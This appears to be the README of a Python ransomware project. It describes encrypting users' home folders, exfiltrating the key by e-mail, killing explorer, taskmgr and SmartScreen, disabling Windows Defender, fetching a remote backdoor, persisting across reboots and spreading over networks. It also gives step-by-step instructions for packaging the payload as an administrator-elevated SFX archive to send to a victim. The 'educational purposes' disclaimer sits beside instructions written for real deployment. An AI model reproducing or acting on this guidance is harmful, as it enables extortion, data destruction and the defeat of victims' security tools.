Ransowmare based on Python 3 [3.7.9 version] created during containment...
The code is constantly improving, this for educational purposes to learn how a Ransomware works. I am in no way responsible for what you will do with this code.
The code is buildable in several stages but is essentially intended to encrypt the files in a Windows system and is compiled with Cx_Freeze which allows to import all the Ransomware libraries.
Using Cx_Freeze is relatively simple, you can consult the official documentation at this address:
https://cx-freeze.readthedocs.io/en/latest/
You can also run the code without compiling it, it will be necessary that the target has Python installed on the system, however it is preferable to compile it for automation after creating an SFX package with Winrar, Inno Setup or a Windows installation package (MSI).
It requires administrator rights to start properly, and if you don't have the rights, it will be restarted automatically by making a privilege request.
If the program does not connect to the server to obtain the encryption key for the files, then it generates the key and sends it by e-mail relay.
Then the ransomware goes to work and encrypts all the home directories of the system from "\Users".
It also removes some environment variables in the registry, before taking possession of some executables in "system32" such as "SmartScreen" which allows checking the editor before running a program on the system, "explorer" which allows displaying the desktop environment, as well as "taskmgr.exe" the task manager, and then removes these processes.
It is also going to block access to windows defender and disable it from the registry, which will allow the restart of the computer to download a backdoor hosted on a remote site.
The ransomware will also insert in the registry, the start of its main encryption function at each system reboot by calling an independent executable. In the event of a reboot, it generates a new key but it does not encrypt the files it has already encrypted previously, by logic and to save time.
It also encrypts permanently in the directories in case of a reboot of the machine.
- Select the folder contains the code and libraries
- Rename the folder to "setup"
- Right Click and "Add to archive"
- Select "Create SFX Archive"
- In the "Advanced tab" click on "SFX Options"
- Select "Create in the current folder"
- Copy "Powershell Start-Process setup/main.exe -Verb RunAs" in the "Launch after installation" section.
- In the "Advanced tab" on "SFX Options" check the box "Request Administrative Rights" (Very important, it allows you to run ransomware as an administrator)
- Click OK
- Send the "SFX Archive" to the victim.
The advantage of this method of building an archive is that I do not need to request privileges in the code and it also makes it possible to contain all the libraries in a single executable file.
Beware sometimes antivirus programs like Windows Defender can detect a simple SFX archive which is actually a false positive.
You can consult the official documentation at https://jrsoftware.org/.
The purpose of inno setup is to create an installer by adding some parameters such as the destination folder or a personalized icon.
For use the script : python ServerKey.py --host <ip_adress> --port <port_number>
The program will encrypt much faster with the use of threads.
The program will be able to search and exploit a network communication to propagate itself.